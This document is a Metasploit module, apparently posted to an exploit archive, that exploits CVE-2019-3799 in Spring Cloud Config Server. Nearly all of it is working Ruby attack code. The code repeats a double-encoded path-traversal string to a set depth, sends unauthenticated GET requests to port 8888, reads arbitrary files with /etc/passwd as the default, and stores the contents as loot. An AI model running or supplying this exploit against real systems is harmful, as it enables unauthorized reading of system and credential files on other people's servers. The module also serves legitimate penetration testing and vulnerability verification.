Spring Cloud Config 2.1.x Path Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Spring Cloud Config Server Directory Traversal',  
'Description' => %q{  
This module exploits an unauthenticated directory traversal  
vulnerability  
which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,  
versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.  
Spring  
Cloud Config listens by default on port 8888.  
},  
'References' =>  
[  
['CVE', '2019-3799'],  
['URL', 'https://pivotal.io/security/cve-2019-3799']  
],  
'Author' =>  
[  
'Vern', # Vulnerability discovery  
'Dhiraj Mishra' # Metasploit module  
],  
'DisclosureDate' => '2019-04-17',  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(8888),  
OptString.new('FILEPATH', [true, "The path to the file to read",  
'/etc/passwd']),  
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])  
])  
end  
  
def data  
Rex::Text.rand_text_alpha(3..8)  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"  
uri = "/#{data}/#{data}/master/#{traversal}"  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res && res.code == 200  
print_error('Nothing was downloaded')  
return  
end  
  
vprint_good("#{peer} - #{res.body}")  
path = store_loot(  
'springcloud.traversal',  
'text/plain',  
ip,  
res.body,  
filename  
)  
print_good("File saved in: #{path}")  
end  
end  
`